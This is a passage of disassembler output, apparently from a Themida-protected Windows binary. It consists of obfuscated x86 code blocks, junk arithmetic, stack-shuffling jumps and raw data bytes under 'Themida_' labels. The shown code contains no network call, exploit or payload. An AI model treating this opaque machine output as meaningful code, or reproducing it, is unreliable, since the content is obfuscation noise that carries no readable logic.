loc_5606CB: ; CODE XREF: Themida_:005646F0j add ebp, 6679F4F9h sub ecx, ebp mov ebp, [esp] jmp loc_563483 ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 54512404h, 496EE9h, 62ED8000h, 0C8BEE88h dd 4C48124h, 52000000h, 0F30055B6h, 0FFDEACE9h db 0FFh ; --------------------------------------------------------------------------- loc_560701: ; CODE XREF: Themida_:0055FCC1j mov esi, 3B9C27B6h and ecx, esi jmp loc_5646A0 ; --------------------------------------------------------------------------- db 5Bh, 35h, 0CDh dd 5619AF43h, 3A4B21BEh, 81464E32h, 6840FCEEh, 5EF001CEh dd 14120705h, 0E9C72977h, 0FFFFDAC5h ; --------------------------------------------------------------------------- loc_560730: ; CODE XREF: Themida_:005596DDj pop dword ptr [esp] mov esp, [esp] push esi jmp loc_555214 ; --------------------------------------------------------------------------- dd 4C481h, 0DFF70000h, 9E85F781h, 0EE818CB9h, 6B4B4059h dd 0C681FE01h, 6B4B4059h, 4EC815Fh, 89000000h, 0A4E92414h dd 81FFFFFDh, 0A11775EFh, 82E95E50h, 89FFFFC4h, 34E9240Ch dd 81FFFF02h, 70AC72EAh, 5AD589D0h, 5969ED81h, 0E5C177A6h dd 2EDC103h, 5ED68h, 24348900h, 0FCCBE951h, 295AFFFFh dd 1CC681D6h, 5A450277h, 6E4EB951h, 0C681368Dh, 0DC45371h dd 4FE9CE01h, 5A000044h, 0FF13F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5607C1: ; CODE XREF: Themida_:00552707j add edx, 4 jmp loc_55C1D1 ; --------------------------------------------------------------------------- dd 4BEh, 8BF00100h, 0C4812434h, 4, 8B240487h, 0B2E92424h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5607E7: ; CODE XREF: Themida_:0055D0FCj pop eax push ecx sub esp, 4 mov [esp], esi mov esi, 1AFB67E3h push edx mov edx, 2BCA65A9h dec edx dec edx add edx, 536E4D63h jmp loc_55E4ED ; --------------------------------------------------------------------------- loc_560807: ; CODE XREF: Themida_:00551A00j mov esp, [esp] jmp loc_559CBA ; --------------------------------------------------------------------------- byte_56080F db 66h ; DATA XREF: Themida_:00550818o dd 6824048Bh, 12F7h, 54243C89h, 0E9243C8Bh, 0FFFFB738h dd 3BAE951h, 0EA810000h, 3BC5E7Ch, 0FF6F9EE9h, 3801BBFFh dd 6CE90A34h, 81FFFF69h, 4ECh, 24148900h, 0E957E289h, 0FFFFAA13h dd 55241489h, 4C5883BDh, 9CFEE94Bh, 0B468FFFFh, 89000033h dd 9BBA2414h, 81486A4Ch, 0D13CA4E2h, 0EDD1E976h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560876: ; CODE XREF: Themida_:0055C173j pop eax jmp loc_564186 ; --------------------------------------------------------------------------- dd 4B8h, 8BC30100h, 0C4812404h, 4, 0E9241C87h, 133Ah ; --------------------------------------------------------------------------- loc_560894: ; CODE XREF: Themida_:005573F0j mov ebp, 6434899h push 56ABh mov [esp], ecx mov ecx, 495F7C41h add ecx, 64E502D9h push ecx not dword ptr [esp] pop ecx sub ecx, 1BF21E0h or ebp, ecx pop ecx not ebp push edx mov edx, 907B5BCAh sub ebp, 3E557E46h sub ebp, edx add ebp, 3E557E46h pop edx add eax, ebp pop ebp jmp loc_56037B ; --------------------------------------------------------------------------- db 81h, 0EBh, 0E1h dd 892C8F17h, 81585BDDh, 30207AC3h, 2CAE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5608EE: ; CODE XREF: Themida_:00561275j mov edi, [esp] add esp, 4 push edi push edx mov edx, 2C890726h xor [esp+4], edx pop edx pop esi xor esi, 2C890726h pop edi jmp loc_55F504 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC832404h, 24248904h, 4240481h, 0E9000000h dd 0FFFF73F0h, 0F381D3F7h, 0ACB8272h, 1C8BDE01h, 4EC8324h dd 89241489h, 4C281E2h, 83000000h, 148704C2h, 0F0E95C24h dd 5DFFFFE7h, 57F868h, 24348900h, 8F5E8F68h, 24348B46h dd 4C481h, 0BF570000h, 0C88153DFh, 705DEE81h, 0C6815D24h dd 7CFD4F5Dh, 1F2FEE81h, 0FE012427h, 0FFB2F0E9h, 51B850FFh dd 297AE575h, 0F088E9C7h, 0B468FFFFh, 8900002Fh, 0CE68240Ch dd 0E9000052h, 0FFFF7B40h, 240C8966h, 0EF2812B5h, 0B0E95966h dd 0F7FFFF37h, 68D2h, 2C810000h, 0DF0ACB24h, 3CBE5635h dd 0E91D997Ah, 0FFFFC959h, 8704C583h, 248B242Ch, 40524h dd 2050000h, 33000000h, 4312404h, 24043324h, 4868665Ch dd 19BFE97Eh, 0DAF70000h, 75A4F281h, 0D629188Fh, 0FFFD9DE9h dd 6BF968FFh, 0FAE90000h db 0F0h, 2 dup(0FFh) byte_560A0B db 66h ; DATA XREF: Themida_:00550828o dd 83240C8Bh, 7BE904ECh, 55FFFFF2h, 83393B68h, 0F5815D39h dd 7C175A7Bh, 835DEF89h, 0F781FFEFh, 45946345h, 1ADFE981h dd 0F901055Ah, 0FF6422E9h db 0FFh ; --------------------------------------------------------------------------- loc_560A3D: ; CODE XREF: Themida_:00556093j sub edx, ecx add edx, 690822D4h pop ecx jmp loc_5558AC ; --------------------------------------------------------------------------- loc_560A4B: ; CODE XREF: Themida_:00554150j sub esp, 4 mov [esp], esi push ecx jmp loc_55C24B ; --------------------------------------------------------------------------- dw 6852h dd 4B4h, 81242489h, 42404h, 34FF0000h, 24148B24h, 8104C483h dd 4C4h, 4EC8100h, 89000000h, 4BD242Ch, 0E9000000h, 0FFFF5FDCh dd 2811F781h, 0EF8134FAh, 4E8BAB85h, 0FF0B68E9h, 80CA00FFh dd 8B59CDC2h, 0C483241Ch, 0F6EA8604h, 80EA86D5h, 0EC8173C2h dd 4, 0B7241C89h, 0E9CFFEABh, 3B82h, 0E92414F7h, 0FFFF28A2h dd 138EBB53h, 91E93608h, 8FFFFF38h, 248B2404h, 24048924h dd 8904EC83h, 6DB9240Ch, 0E90D5960h, 0FFFF66D0h, 0C9685255h dd 8B088A33h, 0C4832414h, 0C1E28104h, 81224F45h, 9E716ACAh dd 0D91AE918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B0E: ; CODE XREF: Themida_:0055BE61j xor ecx, 0B84574CFh sub esi, ecx pop ecx xchg esi, [esp] pop esp push 210Ch mov [esp], esp add dword ptr [esp], 4 jmp loc_55542A ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0C2830000h, 24148704h, 42E9535Ch, 0F700004Ch dd 0C9A3E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B4A: ; CODE XREF: Themida_:00557022j mov dx, [esp] push ecx push esp jmp loc_554912 ; --------------------------------------------------------------------------- loc_560B55: ; CODE XREF: Themida_:0055E5CDj mov edi, 31BD22ABh push edx mov edx, 0DEA2CA3h sub edi, edx pop edx inc edi and edi, 36D8152Ah jmp loc_55E317 ; --------------------------------------------------------------------------- db 89h dd 0E9CF89E9h, 0FFFF49A9h, 8105E5C1h, 921F4BF5h, 5DEA317Ch dd 15AD601h, 0C0835EF0h, 24048704h, 0FF8EECE9h, 5C97B9FFh dd 0D1312CE5h, 8B5DE95Ah, 248BFFFFh, 2424D324h, 0FE01E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560BAE: ; CODE XREF: Themida_:00559C81j neg byte ptr [esp+1] pop ecx jmp loc_556219 ; --------------------------------------------------------------------------- dd 0C68EB29h, 0E900007Ch, 0FFFF2BDEh, 4E4B850h, 0C5015253h dd 0BA524D58h, 24B5753Ah, 0FAE9D509h, 5A000033h, 0E92AEA80h dd 0FFFFD02Ch, 0C181E189h, 4, 0FF0818E9h, 240C8BFFh, 6804C483h dd 15DDh, 0E9241C89h, 0FFFFC344h, 0B551A6B5h, 212DE90Dh dd 15AFFFFh, 2434FFF0h, 5E2434FFh, 0FF701EE9h, 24048BFFh dd 0FF4D1CE9h, 2C3366FFh, 2C316624h, 649BE924h, 0C301FFFFh dd 23E95058h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_560C3B: ; CODE XREF: Themida_:005639CDj push 0D62h mov [esp], ebx mov bx, 3BEFh mov dx, bx pop ebx sub esp, 4 mov [esp], eax push edx mov dx, 2459h and dx, 7477h xor dx, 3C4Eh mov ax, dx pop edx or ax, 7F19h neg ax jmp loc_55144F ; --------------------------------------------------------------------------- dd 0E95AD301h, 0FFFFF8B9h, 0E924148Bh, 12E5h, 8B24048Fh dd 0FB682424h, 89000051h, 5D68240Ch, 8900000Dh, 8851241Ch dd 0D087E9D5h, 0A104FFFFh, 16EAE9h, 240C3100h, 1294E9h dd 4C48300h, 1A86E9h db 0 ; --------------------------------------------------------------------------- loc_560CB5: ; CODE XREF: Themida_:0055C786j push edx mov edx, 4E9D79A3h and ebp, edx pop edx inc ebp shr ebp, 2 sub esp, 4 mov [esp], edx mov edx, 4279304Ah sub edx, 0FCA8CB33h and ebp, edx pop edx sub ebp, 4E3D0774h sub ebp, 0B3433888h add edi, ebp pop ebp sub edi, 4 xor edi, [esp] jmp loc_562FB5 ; --------------------------------------------------------------------------- db 5Fh dd 0FFF82159h, 815F2434h, 4C4h, 0FC00900h, 0FFA63684h dd 0E38953FFh, 0FF5B21E9h db 0FFh ; --------------------------------------------------------------------------- loc_560D11: ; CODE XREF: Themida_:0055B2E4j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx jmp loc_55C0B2 ; --------------------------------------------------------------------------- loc_560D29: ; CODE XREF: Themida_:0055F1C1j pop ebp jmp loc_553461 ; --------------------------------------------------------------------------- db 83h dd 8F5404ECh, 0B0E92404h, 89FFFF67h, 74FF243Ch, 0E95F0424h dd 0FFFFFF38h, 582434FFh, 4C481h, 0EC810000h, 4, 35E3E9h dd 0C6E28100h, 5113D171h, 816BE4B9h, 0E9CA0116h, 0FFFFBFEDh dd 0E9240C8Bh, 1D64h, 0E9515E54h, 0FFFF97C0h, 2474FF50h dd 2434FF04h, 0FF5C61E9h, 0C1E181FFh, 810A4B6Bh, 5A9444F1h dd 774EE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D9E: ; CODE XREF: Themida_:0055127Cj mov ebx, 53635477h mov eax, 0C4D4CAC6h xor eax, ebx pop ebx add esi, eax pop eax jmp loc_563D53 ; --------------------------------------------------------------------------- db 40h dd 0E907E8C1h, 0FFFFA150h, 2D37F381h, 0BF57084Eh, 0DC93DFFFh dd 0E95FFB01h, 0FFFF6077h, 4C481h, 0E9560000h, 0FFFF0215h dd 2B8h, 0BDC28100h, 12F7A2Fh, 73A968C2h, 4890000h, 32BBB824h dd 0BFE96989h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560DFB: ; CODE XREF: Themida_:0056038Ej add edi, 43921E41h sub edi, 6109354Dh jmp loc_55D49A ; --------------------------------------------------------------------------- dd 1877B951h, 0E941206Bh, 0FFFF07A9h, 5104C483h, 0FF0F63E9h db 0FFh ; --------------------------------------------------------------------------- loc_560E21: ; CODE XREF: Themida_:005544EEj push ecx mov ecx, 4 sub dword ptr [esp+4], 40C73CB5h add [esp+4], ecx push edi mov edi, 40C73CB5h add [esp+8], edi pop edi mov ecx, [esp] add esp, 4 jmp loc_5509AF ; --------------------------------------------------------------------------- loc_560E49: ; CODE XREF: Themida_:0056184Bj pop ebp push ebp push 1EB255A9h pop ebp add ebp, 1C5D1B0Ch add ebx, 6130438Ah add ebx, ebp sub ebx, 6130438Ah push dword ptr [esp] push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_56371A ; --------------------------------------------------------------------------- loc_560E80: ; CODE XREF: Themida_:00552922j pop ebp push ebp mov ebp, 561F7B6Eh dec ebp jmp loc_5534FA ; --------------------------------------------------------------------------- loc_560E8D: ; CODE XREF: Themida_:00559FEBj push dword ptr [esp] pop edx jmp loc_561184 ; --------------------------------------------------------------------------- loc_560E96: ; CODE XREF: Themida_:00551EC2j sub esp, 4 mov [esp], eax push ebx push dword ptr [esp] pop eax jmp loc_559FF0 ; --------------------------------------------------------------------------- loc_560EA9: ; CODE XREF: Themida_:0055C2D9j shl ebp, 7 or ebp, 48B17621h not ebp or ebp, 758A4F58h dec ebp add ebp, 0A31B0A7h add eax, ebp pop ebp push esi mov esi, 4 jmp loc_563B2A ; --------------------------------------------------------------------------- db 0B3h dd 66DD284Fh, 2032E95Bh, 0C7FEFFFFh, 8073C780h, 93B473C7h dd 205BFC00h, 686658E6h, 8966707Fh, 0BB7241Ch, 0EEE9FE08h dd 100000Dh, 0E9C581C5h, 584A1436h, 3E6FE9h, 4C18100h dd 83000000h, 0FEE904C1h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_560F17: ; CODE XREF: Themida_:0055FA53j pop ebp add ecx, eax pop eax push ecx jmp loc_555A34 ; --------------------------------------------------------------------------- db 54h, 0E9h, 0E7h dd 52FFFFCBh, 700F93BAh, 71C28169h, 83968FF0h, 2C8904ECh dd 895D5224h, 0A4E95DEFh, 57000043h, 4BFh, 5FFE0100h, 5C243487h dd 0FE025D35h, 30FF667Eh, 0FEFA52E9h, 4EC83FFh, 0BF243C89h dd 4, 0C5E9FD29h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F6F: ; CODE XREF: Themida_:00562605j mov [esp], ebp mov ebp, esp add ebp, 4 push eax push 5190h jmp loc_55D749 ; --------------------------------------------------------------------------- loc_560F85: ; CODE XREF: Themida_:00552F94j mov esi, ebp pop ebp add ebx, esi mov esi, [esp] jmp loc_551A13 ; --------------------------------------------------------------------------- dw 0C483h dd 24048F04h, 0FFD9B6E9h, 392AB9FFh, 0F2E93EA8h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FA7: ; CODE XREF: Themida_:00560602j mov [esp], ecx push 66Ah mov [esp], ebx jmp loc_562A76 ; --------------------------------------------------------------------------- aZiSgc db 'Z┴Й]И┐C',0 align 10h dd 8B24048Fh, 89562424h, 0B0CFE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FCE: ; CODE XREF: Themida_:00551D03j mov ebp, [esp] add esp, 4 jmp loc_551EBD ; --------------------------------------------------------------------------- loc_560FDC: ; CODE XREF: Themida_:00554DCBj add ebx, 4 add ebx, 4 push 54F9h mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edi push ecx push 41234B9Ah jmp loc_55B0D0 ; --------------------------------------------------------------------------- dd 682391B9h, 0F6E1815Fh, 813C2D3Ah, 0BA0124C1h, 0DEE9817Ch dd 8970DF0Eh, 0EAC159CAh, 0F7DAF705h, 397E9D2h, 7C050000h dd 5A35F960h, 3F8AE9h db 0 ; --------------------------------------------------------------------------- loc_561051: ; CODE XREF: Themida_:0055670Cj sub ebx, edi jmp loc_55C3D2 ; --------------------------------------------------------------------------- dd 0FEF952E9h, 8604B1FFh, 14C6E9D9h, 0C5810000h, 0A7030E0h dd 0ABB2ED81h, 95E950B9h, 5DFFFFA0h, 38E68h, 24348900h dd 0F1895E53h, 0E1C15B5Eh, 3E9C107h, 68h, 3425E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561096: ; CODE XREF: Themida_:00554532j sub esp, 4 mov [esp], ebx mov ebx, 1B7003BDh push 2687h mov [esp], esi mov esi, 35B4295Ah jmp loc_564AA8 ; --------------------------------------------------------------------------- loc_5610B3: ; CODE XREF: Themida_:00555049j push ebp push eax mov eax, 31538D4h mov ebp, 2B5C930h add ebp, eax pop eax jmp loc_557641 ; --------------------------------------------------------------------------- db 68h dd 869h, 89240489h, 405E0h, 0BA520000h, 17432E30h, 6BF4BB53h dd 0DFE9304Fh db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610E7: ; CODE XREF: Themida_:005641FEj push ecx mov ecx, 697700A5h shl ecx, 5 neg ecx xor ecx, 7B7F578Eh xor ecx, 0FA4FA1B8h mov ebx, ecx pop ecx jmp loc_5619E2 ; --------------------------------------------------------------------------- dd offset dword_59C800 aHh6 db 'ь,(hh6',0 align 2 dw 1C89h dd 0EFF1E924h, 0FDBDFFFFh, 0E9308A11h, 1130h dword_561124 dd 62A768h, 242C8900h, 168h, 475FE900h ; DATA XREF: Themida_:005508A0o db 2 dup(0) word_561136 dw 77FFh ; DATA XREF: Themida_:00550720o dd 59669D1Ch, 241CD366h, 0F869E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561146: ; CODE XREF: Themida_:00559CEDj dec edx shl edx, 3 sub edx, 60040802h jmp loc_559CAA ; --------------------------------------------------------------------------- db 58h, 83h, 0C4h dd 5A545204h, 4EC81h, 4890000h, 7D5CB824h, 0E0C13431h dd 5E0C104h, 0FFC891E9h, 5FF829FFh, 3542EB81h, 0E9526935h dd 0FFFF3795h ; --------------------------------------------------------------------------- loc_561184: ; CODE XREF: Themida_:00560E91j add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5625E6 ; --------------------------------------------------------------------------- dd 0C0B60F59h, 0FFDD87E9h, 9EEB81FFh, 0E907FB0Ch, 0FFFF4D26h dd 2424D366h, 6AC8E99Ch, 0F380FFFFh, 2EBC0BFh, 0FF8C90E9h db 0FFh ; --------------------------------------------------------------------------- loc_5611CD: ; CODE XREF: Themida_:0055DA80j mov edi, [esp] add esp, 4 push 7B92h mov [esp], ebx push 4707h mov [esp], esi mov esi, 800h sub esp, 4 jmp loc_555C02 ; --------------------------------------------------------------------------- db 81h dd 0B8042444h, 0E955166Fh, 4A3Bh, 148BF428h, 4C48324h dd 40E95066h, 1FFFF31h, 0F551E9F7h, 0E940FFFFh, 0FFFFC566h dd 44EA815Ah, 0E94A5E1Eh, 0FFFF77FCh, 31241C33h, 86E9241Ch dd 2900003Bh, 0BCEE81DEh, 0FF57D518h, 835B2434h, 0C68104C4h dd 902D2Dh, 7351E681h, 0E7E97389h db 1Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561253: ; CODE XREF: Themida_:0055F34Fj mov edi, 114F761Dh xor esi, edi pop edi mov ebx, esi pop esi jmp loc_5517EF ; --------------------------------------------------------------------------- loc_561263: ; CODE XREF: Themida_:00550B86j sub esp, 4 mov [esp], esi push 6A63h mov [esp], edi push eax jmp loc_5608EE ; --------------------------------------------------------------------------- dw 69BDh dd 8155F95Ah, 0C11B00E5h, 20ED812Fh, 8101DF36h, 0F2DE69F5h dd 5DE8293Dh, 81E9515Bh, 5AFFFF66h, 4EC81h, 0C890000h dd 46824h, 0C8B0000h, 0B5A0E924h, 0F381FFFFh, 790F78CBh dd 18B2EF81h, 86E92957h, 8FFFFEFDh, 0BE562404h, 4, 4246C81h dd 271D6263h, 8904EC83h, 6CE92414h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612DF: ; CODE XREF: Themida_:0055A0F8j pop edx jmp loc_55A5C0 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0C4830000h, 0E9D63104h, 0FFFF09BEh, 8BF3015Dh dd 89562434h, 4C681E6h, 83000000h, 348704C6h, 0FF535C24h dd 0E9042474h, 0FFFF3BBFh dword_561318 dd 81D830ACh, 2ECh, 1C896600h, 78E4E924h, 0E957FFFFh, 3ACAh ; DATA XREF: Themida_:005507C4o dd 24048F54h, 4BE56h, 74010000h, 595E0424h, 0FF57C1E9h dd 709FBEFFh, 0F5890569h, 772E95Eh, 0EF810000h, 16AE16Ch dd 575FF801h, 38BF5752h, 0C163F845h, 0E7C106EFh, 74F78106h dd 89757240h, 5F525FFAh, 0FF4EB8E9h, 0F631E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56137E: ; CODE XREF: Themida_:0055C587j sub ax, 0FFFFh shr ax, 3 push ebx mov bx, 16CFh shr bx, 7 or bx, 0FC6h jmp loc_55AD5B ; --------------------------------------------------------------------------- loc_561399: ; CODE XREF: Themida_:00556744j mov ebx, 45E07EC7h sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 101B2F7Eh jmp loc_552F88 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0B9510000h, 4, 8759CE01h, 0E95C2434h, 0FFFFA01Fh dd 5024248Bh, 0FF3D38E9h, 0EAC142FFh, 83F28105h, 31B6F4A5h dd 3176E9D0h, 88520000h, 5AF788EEh, 8B387F88h, 0C483241Ch dd 240C8B04h, 2CE2E9h, 0EC815800h, 4, 0E9241C89h, 0FFFF5E45h ; --------------------------------------------------------------------------- loc_561414: ; CODE XREF: Themida_:00565221j sub [edi+24h], ebx mov ebx, [esp] add esp, 4 loc_56141D: ; CODE XREF: Themida_:0055AEFBj push 2AE2h mov [esp], edx mov edx, ebx push 4D52h jmp loc_55655D ; --------------------------------------------------------------------------- dd offset dword_450050+2A18h align 2 dw 1C89h dd 431FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56143E: ; CODE XREF: Themida_:00559410j sub bx, ax sub bx, 4294h mov eax, [esp] add esp, 4 jmp loc_563B22 ; --------------------------------------------------------------------------- loc_561454: ; CODE XREF: Themida_:00565BFEj mov esi, 762F60C2h jmp loc_550AC9 ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 159CE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56146A: ; CODE XREF: Themida_:0055FCCAj pop ebx jmp loc_560063 ; --------------------------------------------------------------------------- loc_561470: ; CODE XREF: Themida_:00552D5Aj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov cx, [esp] push ecx mov ecx, esp push ebp jmp loc_55234E ; --------------------------------------------------------------------------- loc_561489: ; CODE XREF: Themida_:0055F999j mov ebp, 5F063141h jmp loc_559DF7 ; --------------------------------------------------------------------------- db 8Bh dd 1FE92404h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56149B: ; CODE XREF: Themida_:0055A899j mov eax, 7E8A2841h shl eax, 8 jmp loc_563AAF ; --------------------------------------------------------------------------- dd 4C281h, 5C680000h, 89000043h, 21E92404h, 5DFFFFF9h dd 525EF201h, 42474FFh, 0E924148Bh, 0FFFF5430h, 50C1FE5Bh dd 0FFBE6EE9h, 81D6F7FFh, 236806C6h, 1EE8110h, 0E9000000h dd 0FFFF362Ah ; --------------------------------------------------------------------------- loc_5614E8: ; CODE XREF: Themida_:00563379j add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] jmp loc_551C0B ; --------------------------------------------------------------------------- loc_5614FE: ; CODE XREF: Themida_:00565407j mov ecx, 3B0F70B5h sub ebx, ecx pop ecx push edx mov edx, 7650704Eh sub ebx, edx pop edx jmp loc_561841 ; --------------------------------------------------------------------------- dd 2414895Ch, 2434FF54h, 4C4835Ah, 0FFFF83E9h, 0A4E95AFFh dd 58FFFFA2h, 1C33E9h, 243C8900h, 0C781E789h, 4, 4EC81h dd 1C890000h, 4BB24h, 0DF290000h, 243C875Bh, 0FFABF6E9h dd 665F66FFh, 0D166DBF7h, 0E06866EBh, 34896636h, 35FBE924h dd 0EC81FFFFh, 4, 0FF7883E9h, 2434FFFFh, 0DBD8E95Fh db 2 dup(0FFh) word_56157E dw 0E9ACh ; DATA XREF: Themida_:005506E4o dd 0FFFFC248h, 6BA968h, 24148900h, 737968h, 241C8900h dd 80FBB450h, 0C480F7F4h, 3FE4808Ah, 8072C480h, 0E788BDC4h dd 0FFEF8058h, 88BAC780h, 0D3005BFAh, 0FF6FB3E9h, 0D1F781FFh dd 5E461261h, 0FB87DF29h, 5F2434FFh, 8104C483h, 7029F2F3h dd 4DB85054h, 0E93C4105h, 0FFFF532Bh, 5304C483h, 46938BBh dd 5BDF2971h, 0C781C701h, 71046938h, 148DBD55h, 8AE95A18h dd 1FFFFF3h, 242C8BEFh, 0E904C483h, 0FFFF233Fh, 3579B850h dd 99355A06h, 2D578D29h, 5F47319Ah, 0F7E9D0F7h, 31FFFFFBh dd 14332414h, 34895C24h, 34FF5424h, 89565E24h, 4C681E6h dd 81000000h, 4C6h, 24343300h, 33243431h, 5DE92434h, 89FFFFE8h dd 0E7C15BDFh, 1C78305h, 7AA9C781h, 0EF833FD6h, 0DBF78101h dd 507FA120h, 0FF9D7BE9h, 81E289FFh, 4C2h, 4B85000h, 0E9000000h dd 0FFFFD698h, 3359CB01h, 0B9E9241Ch, 0E900000Ah, 0FFFEF323h dd 0AEE5E950h, 0EF80FFFFh, 9DB05070h, 0A2E9D0F6h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56169F: ; CODE XREF: Themida_:00558C80j pop ecx mov bh, dh mov edx, [esp] add esp, 4 pop eax push ecx mov cl, bh mov [edi+eax*4], cl pop ecx push dword ptr [esp] pop ebx push ebx jmp loc_5604BB ; --------------------------------------------------------------------------- dw 3358h dd 65E92414h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616C3: ; CODE XREF: Themida_:0055DF21j push esi mov esi, 1D3510EDh not esi or esi, 75C172CAh jmp loc_55F811 ; --------------------------------------------------------------------------- dw 0EF89h dd 0FF4320E9h db 0FFh ; --------------------------------------------------------------------------- loc_5616DD: ; CODE XREF: Themida_:00563E53j mov edi, eax pop eax shr edi, 5 sub edi, 0FFFFFFFFh xchg edx, edi dec edx xchg edx, edi shr edi, 1 inc edi jmp loc_558283 ; --------------------------------------------------------------------------- db 81h dd 0EB30B1C2h, 0E9D2F71Ah, 0FFFF779Fh, 0FEF2AAE9h, 2D4DBFFFh dd 0DFF71559h, 45E5C781h, 0F9891F4Fh, 81D9F75Fh, 0EF5C74C1h dd 49E9D138h, 3CD0E953h, 0F7550000h, 815D2414h, 0F40266F5h dd 1334E954h, 0E3B90000h, 110534Ah, 5908244Ch, 0E924048Bh dd 0FFFF7BCCh, 8704C683h, 535C2434h, 0FFCDA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_561755: ; CODE XREF: Themida_:0055B043j add edi, 4 xchg edi, [esp] pop esp jmp loc_55EB16 ; --------------------------------------------------------------------------- db 29h, 0C2h, 8Bh dd 14E92404h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56176B: ; CODE XREF: Themida_:00556872j push esi mov esi, 457F5042h not esi inc esi sub esi, 37B3081Fh xor esi, 0E05CBD3Ch xor ebx, esi pop esi add edi, 49C24664h push ebp jmp loc_55CF30 ; --------------------------------------------------------------------------- loc_56178F: ; CODE XREF: Themida_:0055CC95j mov ecx, 484B222Fh mov eax, ecx pop ecx jmp loc_55E9A6 ; --------------------------------------------------------------------------- loc_56179C: ; CODE XREF: Themida_:0055630Aj add esi, 4 sub esi, 4 jmp loc_561F97 ; --------------------------------------------------------------------------- loc_5617AD: ; CODE XREF: Themida_:005631E7j push 0 jmp loc_557C79 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 58C68900h, 1ACEEA81h, 0F22962A8h, 1ACEC281h, 34FF62A8h dd 0E1B7E924h, 8953FFFFh, 4C381E3h, 0E9000000h, 0FFFF813Eh dd 52CBF680h, 12454F6h, 8324148Bh, 0EEC004C4h, 0E4F8E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617FA: ; CODE XREF: Themida_:005577C3j pop edx add edx, edi push eax mov eax, 0 add eax, edx push ebx push ebp push 22FD0764h jmp loc_55F166 ; --------------------------------------------------------------------------- db 29h, 0D6h, 8Bh dd 0C4832414h, 0BFC58104h, 0E928B25Ch, 0FFFFA5B7h, 8904EC83h dd 2FB82404h, 2D06C233h, 34787253h, 558C301h, 13A269CFh dd 0FF6569E9h db 0FFh ; --------------------------------------------------------------------------- loc_561841: ; CODE XREF: Themida_:0056150Fj sub ebx, eax push ebp mov ebp, 7650704Eh add ebx, ebp jmp loc_560E49 ; --------------------------------------------------------------------------- dd 1ABFF581h, 0EF096B2Fh, 46E94F5Dh, 0F7FFFFCCh, 3930E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561866: ; CODE XREF: Themida_:0056418Fj mov edx, 140B5D33h xor edx, 0A03DBD10h jmp loc_55590D ; --------------------------------------------------------------------------- dw 5651h dd 1E7C72BEh, 0BA525669h, 11493374h, 4245431h, 16FCE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56188E: ; CODE XREF: Themida_:00551C0Cj pop dword ptr [esp] mov esp, [esp] jmp loc_5593B4 ; --------------------------------------------------------------------------- byte_561899 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055074Co dd 5324148Bh, 0BF57E389h, 107777FDh, 72CBE781h, 0E7C140F5h dd 0E7CF8103h, 0F7318520h, 22C3E9DFh, 51590000h, 0F33F0CB9h dd 0E9CD311Dh, 0FFFEF8E9h, 348BF189h, 0A8DE924h, 81580000h dd 4C4h, 5E9C100h, 3ACCE981h, 0BA520327h, 0BD11E34h, 0F2814A4Ah dd 23971BB0h, 15AD729h, 994AE9CFh db 2 dup(0FFh) word_5618FE dw 8950h ; DATA XREF: Themida_:0055088Co dd 405E0h, 0E8830000h, 0ED17E904h, 0F5CFFFFh, 18E952C8h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561917: ; CODE XREF: Themida_:0055C696j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_565CD0 ; --------------------------------------------------------------------------- loc_561928: ; CODE XREF: Themida_:00550AFBj add esp, 4 push esi jmp loc_55E8E3 ; --------------------------------------------------------------------------- db 2Ch, 84h, 0 dd 668404D0h, 8324148Bh, 148904ECh, 